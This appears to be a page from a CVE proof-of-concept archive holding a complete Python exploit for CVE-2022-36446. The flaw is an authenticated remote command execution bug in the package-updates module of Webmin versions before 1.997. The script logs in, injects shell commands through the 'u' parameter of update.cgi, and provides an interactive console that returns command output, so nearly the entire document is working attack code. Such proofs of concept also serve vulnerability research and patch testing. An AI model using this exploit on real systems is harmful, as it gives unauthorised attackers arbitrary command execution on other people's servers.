4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2022-36446.py PY
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name          : CVE-2022-36446.py
# Author             : Podalirius (@podalirius_)
# Date created       : 11 Aug 2022

import argparse
import binascii
import html
import requests
import os
from bs4 import BeautifulSoup


VERSION = "1.1"


def parseArgs():
    print("CVE-2022-36446 - Webmin < 1.997 - Software Package Updates RCE (Authenticated) v%s - by Remi GASCOU (Podalirius)\n" % VERSION)

    parser = argparse.ArgumentParser(description="CVE-2022-36446 - Webmin < 1.997 - Software Package Updates RCE (Authenticated)")
    parser.add_argument("-t", "--target", default=None, required=True, help="URL to the webmin instance")
    parser.add_argument("-k", "--insecure", default=False, action="store_true", help="")

    parser.add_argument("-u", "--username", default=None, required=True, help="Username to connect to the webmin.")
    parser.add_argument("-p", "--password", default=None, required=True, help="Password to connect to the webmin.")

    mode = parser.add_mutually_exclusive_group(required=True)
    mode.add_argument("-I", "--interactive", default=False, action="store_true", help="Interactive console mode.")
    mode.add_argument("-C", "--command", default=None, help="Only execute the specified command.")

    parser.add_argument("-v", "--verbose", default=False, action="store_true", help="Verbose mode. (default: False)")

    return parser.parse_args()


def webmin_login(username, password, target, verify=True):
    session = requests.Session()

    try:
        r = session.post(
            target + "/session_login.cgi",
            verify=verify,
            data={
                "user": username,
                "pass": password
            },
            cookies={
                "testing": "1"
            }
        )

        r = session.post(
            target + "/sysinfo.cgi",
            verify=verify,
        )
    except Exception as e:
        print("[error] %s" % e)
        return None

    soup = BeautifulSoup(r.content, 'lxml')
    html_tag = soup.find('html')
    if "data-user" in html_tag.attrs.keys():
        print("[+] Successful login as '%s' to webmin." % html_tag["data-user"])
        return session
    else:
        return None


def can_access_software_updates(session, target):
    r = session.get(target + "/package-updates")
    soup = BeautifulSoup(r.content, 'lxml')
    html_tag = soup.find('html')
    if "data-module" in html_tag.attrs.keys():
        return True
    else:
        return False


def CVE_2022_36446_exec(session, target, cmd):
    random_tag = binascii.hexlify(os.urandom(16)).decode('utf-8')
    random_tag_h, random_tag_l = random_tag[:16], random_tag[16:]

    session.headers.update({
        "Referer": "%s/package-updates/update.cgi?xnavigation=1" % target
    })
    r = session.post(
        target + "/package-updates/update.cgi",
        data={
            "mode": "new",
            "search": "ssh",
            "redir": "",
            "redirdesc": "",
            "u": "0;echo '%s''%s'; %s; echo '%s''%s'" % (random_tag_h, random_tag_l, cmd, random_tag_h, random_tag_l),
            "confirm": "Install+Now"
        }
    )
    # Getting command output
    splited_tags = r.content.decode('utf-8').split(random_tag)
    result = ""
    if len(splited_tags) >= 3:
        result = splited_tags[1].strip()
        result = html.unescape(result)
        return result


if __name__ == '__main__':
    options = parseArgs()

    options.target = options.target.rstrip("/")
    if not options.target.startswith("http://") and not options.target.startswith("https://"):
        options.target = "https://" + options.target

    if options.insecure:
        # Disable warnings of insecure connection for invalid certificates
        requests.packages.urllib3.disable_warnings()
        # Allow use of deprecated and weak cipher methods
        requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ":HIGH:!DH:!aNULL"
        try:
            requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ":HIGH:!DH:!aNULL"
        except AttributeError:
            pass

    session = webmin_login(
        username=options.username,
        password=options.password,
        target=options.target,
        verify=not(options.insecure)
    )

    if session is not None:
        if can_access_software_updates(session, options.target):
            print("[+] User can access Software updates")
            if options.interactive:
                # Interactive console
                while options.interactive:
                    cmd = input("$ ")
                    if cmd.strip() != "exit":
                        result = CVE_2022_36446_exec(
                            session=session,
                            target=options.target,
                            cmd=cmd
                        )
                        print(result)
                    else:
                        options.interactive = False
            else:
                # Single command
                if options.command is not None:
                    result = CVE_2022_36446_exec(
                        session=session,
                        target=options.target,
                        cmd=options.command
                    )
                    print(result)

    else:
        print("[!] Could not login to webmin.")